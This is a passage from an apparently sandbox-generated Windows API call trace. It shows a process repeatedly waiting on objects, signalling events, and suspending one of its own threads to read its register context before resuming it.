[155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0243.361] ResumeThread (hThread=0x1a8) returned 0x1
	[0243.361] CloseHandle (hObject=0x1a8) returned 1
	[0243.361] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.365] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.413] SetEvent (hEvent=0xd4) returned 1
	[0243.413] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.441] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.446] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x24) returned 0x0
	[0243.471] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x11) returned 0x0
	[0243.492] SetEvent (hEvent=0x190) returned 1
	[0243.492] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.518] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.551] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.559] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.581] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.597] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.600] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.602] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.611] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.614] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.617] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.636] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.645] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.668] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.673] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.683] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.688] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.696] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.712] SetEvent (hEvent=0x190) returned 1
	[0243.712] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.720] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.736] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.740] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.748] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.755] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.759] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.785] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.792] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.816] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.825] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.832] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.838] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.841] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.875] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.897] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.901] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.913] SetEvent (hEvent=0x190) returned 1
	[0243.913] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.951] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0243.952] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x3f) returned 0x0
	[0243.957] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0243.957] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.976] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.980] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.998] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.012] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.029] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.039] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.048] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.056] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.062] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.067] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.072] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.082] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x11) returned 0x0
	[0244.084] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.086] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xd) returned 0x102
	[0244.115] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.119] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.124] SetEvent (hEvent=0x1a0) returned 1
	[0244.124] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.132] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.136] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.187] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.220] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.234] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.242] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.260] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.272] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.273] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xc) returned 0x0
	[0244.275] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.285] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.292] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.321] SetEvent (hEvent=0xf0) returned 1
	[0244.321] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.329] SetEvent (hEvent=0x190) returned 1
	[0244.329] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.381] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.409] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.448] SetEvent (hEvent=0x190) returned 1
	[0244.448] SetEvent (hEvent=0xe4) returned 1
	[0244.448] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.489] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.566] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.574] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.577] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0244.577] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x49) returned 0x0
	[0244.586] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0244.587] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.594] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.598] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.610] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.616] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.620] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.635] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.640] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.643] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.647] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.650] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.660] SetEvent (hEvent=0xe4) returned 1
	[0244.660] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.673] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.680] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.683] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.699] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.704] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.713] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.721] SetEvent (hEvent=0x190) returned 1
	[0244.721] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.727] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.732] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.747] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.755] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.759] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.771] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.777] SetEvent (hEvent=0x17c) returned 1
	[0244.777] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.783] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.792] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.799] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.815] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.850] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.879] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.893] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xd) returned 0x0
	[0244.908] SetEvent (hEvent=0x17c) returned 1
	[0244.908] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.923] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.929] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.965] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0244.971] SetEvent (hEvent=0x190) returned 1
	[0244.971] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.029] SetEvent (hEvent=0xd4) returned 1
	[0245.030] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.046] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1a8) returned 1
	[0245.046] SuspendThread (hThread=0x1a8) returned 0x0
	[0245.046] GetThreadContext (in: hThread=0x1a8, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070fff778, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.062] ResumeThread (hThread=0x1a8) returned 0x1
	[0245.063] CloseHandle (hObject=0x1a8) returned 1
	[0245.063] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.067] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1a8) returned 1
	[0245.067] SuspendThread (hThread=0x1a8) returned 0x0
	[0245.067] GetThreadContext (in: hThread=0x1a8, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070fff788, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, 